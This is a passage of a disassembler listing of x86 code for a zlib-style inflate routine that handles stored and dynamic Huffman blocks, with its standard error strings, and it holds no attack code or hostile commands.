		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C535B:				; CODE XREF: sub_4C4F0F+3D5j
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	[ebp+var_14], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_4C5389
		mov	[ebp+var_60], 2
		jmp	short loc_4C5399
; ---------------------------------------------------------------------------


loc_4C5389:				; CODE XREF: sub_4C4F0F+46Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	[ebp+var_60], ecx


loc_4C5399:				; CODE XREF: sub_4C4F0F+478j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_60]
		mov	[edx], eax
		jmp	loc_4C625C
; ---------------------------------------------------------------------------


loc_4C53A6:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:004C626Do
		cmp	[ebp+var_1C], 0
		jnz	short loc_4C5407
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5407:				; CODE XREF: sub_4C4F0F+49Bj
		cmp	[ebp+var_18], 0
		jnz	loc_4C5573
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_4C5461
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_4C5461
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+Dst], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		cmp	eax, [edx+30h]
		jnb	short loc_4C544F
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+Dst]
		sub	edx, 1
		mov	[ebp+var_64], edx
		jmp	short loc_4C545B
; ---------------------------------------------------------------------------


loc_4C544F:				; CODE XREF: sub_4C4F0F+52Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+Dst]
		mov	[ebp+var_64], ecx


loc_4C545B:				; CODE XREF: sub_4C4F0F+53Ej
		mov	edx, [ebp+var_64]
		mov	[ebp+var_18], edx


loc_4C5461:				; CODE XREF: sub_4C4F0F+50Bj
					; sub_4C4F0F+519j
		cmp	[ebp+var_18], 0
		jnz	loc_4C5573
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+Dst], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C54B0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+Dst]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_4C54BC
; ---------------------------------------------------------------------------


loc_4C54B0:				; CODE XREF: sub_4C4F0F+58Ej
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+Dst]
		mov	[ebp+var_68], eax


loc_4C54BC:				; CODE XREF: sub_4C4F0F+59Fj
		mov	ecx, [ebp+var_68]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		cmp	eax, [edx+2Ch]
		jnz	short loc_4C5512
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_4C5512
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+Dst], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		cmp	ecx, [eax+30h]
		jnb	short loc_4C5500
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+Dst]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_4C550C
; ---------------------------------------------------------------------------


loc_4C5500:				; CODE XREF: sub_4C4F0F+5DEj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+Dst]
		mov	[ebp+var_6C], edx


loc_4C550C:				; CODE XREF: sub_4C4F0F+5EFj
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_18], eax


loc_4C5512:				; CODE XREF: sub_4C4F0F+5BCj
					; sub_4C4F0F+5CAj
		cmp	[ebp+var_18], 0
		jnz	short loc_4C5573
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5573:				; CODE XREF: sub_4C4F0F+4FCj
					; sub_4C4F0F+556j ...
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+Size], edx
		mov	eax, [ebp+Size]
		cmp	eax, [ebp+var_1C]
		jbe	short loc_4C5591
		mov	ecx, [ebp+var_1C]
		mov	[ebp+Size], ecx


loc_4C5591:				; CODE XREF: sub_4C4F0F+67Aj
		mov	edx, [ebp+Size]
		cmp	edx, [ebp+var_18]
		jbe	short loc_4C559F
		mov	eax, [ebp+var_18]
		mov	[ebp+Size], eax


loc_4C559F:				; CODE XREF: sub_4C4F0F+688j
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+Src]
		add	ecx, [ebp+Size]
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+Size]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+Dst]
		add	eax, [ebp+Size]
		mov	[ebp+Dst], eax
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+Size]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, [ebp+Size]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_4C55F4
		jmp	loc_4C625C
; ---------------------------------------------------------------------------


loc_4C55F4:				; CODE XREF: sub_4C4F0F+6DEj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	loc_4C625C
; ---------------------------------------------------------------------------


loc_4C560B:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+79Fj
					; DATA XREF: ...
		cmp	[ebp+var_14], 0Eh
		jnb	loc_4C56B3
		cmp	[ebp+var_1C], 0
		jz	short loc_4C5624
		mov	[ebp+arg_8], 0
		jmp	short loc_4C567F
; ---------------------------------------------------------------------------


loc_4C5624:				; CODE XREF: sub_4C4F0F+70Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C567F:				; CODE XREF: sub_4C4F0F+713j
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+Src]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+Src]
		add	ecx, 1
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_4C560B
; ---------------------------------------------------------------------------


loc_4C56B3:				; CODE XREF: sub_4C4F0F+700j
		mov	eax, [ebp+var_C]
		and	eax, 3FFFh
		mov	[ebp+Size], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Size]
		mov	[ecx+4], edx
		mov	eax, [ebp+Size]
		and	eax, 1Fh
		cmp	eax, 1Dh
		ja	short loc_4C56E0
		mov	ecx, [ebp+Size]
		shr	ecx, 5
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		jbe	short loc_4C5755


loc_4C56E0:				; CODE XREF: sub_4C4F0F+7C1j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5755:				; CODE XREF: sub_4C4F0F+7CFj
		mov	ecx, [ebp+Size]
		and	ecx, 1Fh
		mov	edx, [ebp+Size]
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [ecx+edx+102h]
		mov	[ebp+Size], eax
		push	4
		mov	ecx, [ebp+Size]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4C57F5
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C57F5:				; CODE XREF: sub_4C4F0F+882j
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Eh
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 0Eh
		mov	[ebp+var_14], edx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 4


loc_4C581A:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+A0Aj
					; DATA XREF: ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shr	eax, 0Ah
		add	eax, 4
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jnb	loc_4C591E


loc_4C5832:				; CODE XREF: sub_4C4F0F+9C8j
		cmp	[ebp+var_14], 3
		jnb	loc_4C58DC
		cmp	[ebp+var_1C], 0
		jz	short loc_4C584B
		mov	[ebp+arg_8], 0
		jmp	short loc_4C58A6
; ---------------------------------------------------------------------------


loc_4C584B:				; CODE XREF: sub_4C4F0F+931j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C58A6:				; CODE XREF: sub_4C4F0F+93Aj
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+Src]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+Src]
		add	ecx, 1
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_4C5832
; ---------------------------------------------------------------------------


loc_4C58DC:				; CODE XREF: sub_4C4F0F+927j
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	ecx, dword_4F2E8C[edx*4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+0Ch]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		jmp	loc_4C581A
; ---------------------------------------------------------------------------


loc_4C591E:				; CODE XREF: sub_4C4F0F+91Dj
					; sub_4C4F0F+A41j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+8], 13h
		jnb	short loc_4C5952
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	edx, dword_4F2E8C[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	dword ptr [ecx+edx*4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		jmp	short loc_4C591E
; ---------------------------------------------------------------------------


loc_4C5952:				; CODE XREF: sub_4C4F0F+A16j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], 7
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 10h
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_4C7120
		add	esp, 14h
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 0
		jz	loc_4C5A18
		mov	ecx, [ebp+Size]
		mov	[ebp+arg_8], ecx
		cmp	[ebp+arg_8], 0FFFFFFFDh
		jnz	short loc_4C59BD
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_4C59BD:				; CODE XREF: sub_4C4F0F+A8Cj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5A18:				; CODE XREF: sub_4C4F0F+A7Cj
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 5


loc_4C5A2B:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F:loc_4C5DB9j
					; DATA XREF: ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+Size], edx
		mov	eax, [ebp+Size]
		and	eax, 1Fh
		mov	ecx, [ebp+Size]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	edx, [eax+ecx+102h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+8], edx
		jnb	loc_4C5DBE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+Size], edx


loc_4C5A5F:				; CODE XREF: sub_4C4F0F+BF5j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+Size]
		jnb	loc_4C5B09
		cmp	[ebp+var_1C], 0
		jz	short loc_4C5A7A
		mov	[ebp+arg_8], 0
		jmp	short loc_4C5AD5
; ---------------------------------------------------------------------------


loc_4C5A7A:				; CODE XREF: sub_4C4F0F+B60j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5AD5:				; CODE XREF: sub_4C4F0F+B69j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+Src]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+Src]
		add	edx, 1
		mov	[ebp+Src], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_4C5A5F
; ---------------------------------------------------------------------------


loc_4C5B09:				; CODE XREF: sub_4C4F0F+B56j
		mov	ecx, [ebp+Size]
		mov	edx, [ebp+var_C]
		and	edx, dword_4EF200[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		lea	edx, [ecx+edx*8]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 10h
		jnb	short loc_4C5B76
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+Size]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+Size]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	eax, [ebp+var_30]
		mov	[ecx+edx*4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		jmp	loc_4C5DB9
; ---------------------------------------------------------------------------


loc_4C5B76:				; CODE XREF: sub_4C4F0F+C2Bj
		cmp	[ebp+var_30], 12h
		jnz	short loc_4C5B85
		mov	[ebp+var_70], 7
		jmp	short loc_4C5B8E
; ---------------------------------------------------------------------------


loc_4C5B85:				; CODE XREF: sub_4C4F0F+C6Bj
		mov	ecx, [ebp+var_30]
		sub	ecx, 0Eh
		mov	[ebp+var_70], ecx


loc_4C5B8E:				; CODE XREF: sub_4C4F0F+C74j
		mov	edx, [ebp+var_70]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		sub	eax, 12h
		neg	eax
		sbb	eax, eax
		and	al, 0F8h
		add	eax, 0Bh
		mov	[ebp+var_3C], eax


loc_4C5BA6:				; CODE XREF: sub_4C4F0F+D41j
		mov	ecx, [ebp+Size]
		add	ecx, [ebp+var_38]
		cmp	[ebp+var_14], ecx
		jnb	loc_4C5C55
		cmp	[ebp+var_1C], 0
		jz	short loc_4C5BC4
		mov	[ebp+arg_8], 0
		jmp	short loc_4C5C1F
; ---------------------------------------------------------------------------


loc_4C5BC4:				; CODE XREF: sub_4C4F0F+CAAj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5C1F:				; CODE XREF: sub_4C4F0F+CB3j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+Src]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+Src]
		add	ecx, 1
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_4C5BA6
; ---------------------------------------------------------------------------


loc_4C5C55:				; CODE XREF: sub_4C4F0F+CA0j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+Size]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+Size]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_C]
		and	eax, dword_4EF200[edx*4]
		mov	ecx, [ebp+var_3C]
		add	ecx, eax
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_38]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_38]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_3C]
		mov	eax, [ebp+Size]
		and	eax, 1Fh
		mov	ecx, [ebp+Size]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	eax, [eax+ecx+102h]
		cmp	edx, eax
		ja	short loc_4C5CD8
		cmp	[ebp+var_30], 10h
		jnz	loc_4C5D64
		cmp	[ebp+var_38], 1
		jnb	loc_4C5D64


loc_4C5CD8:				; CODE XREF: sub_4C4F0F+DB3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
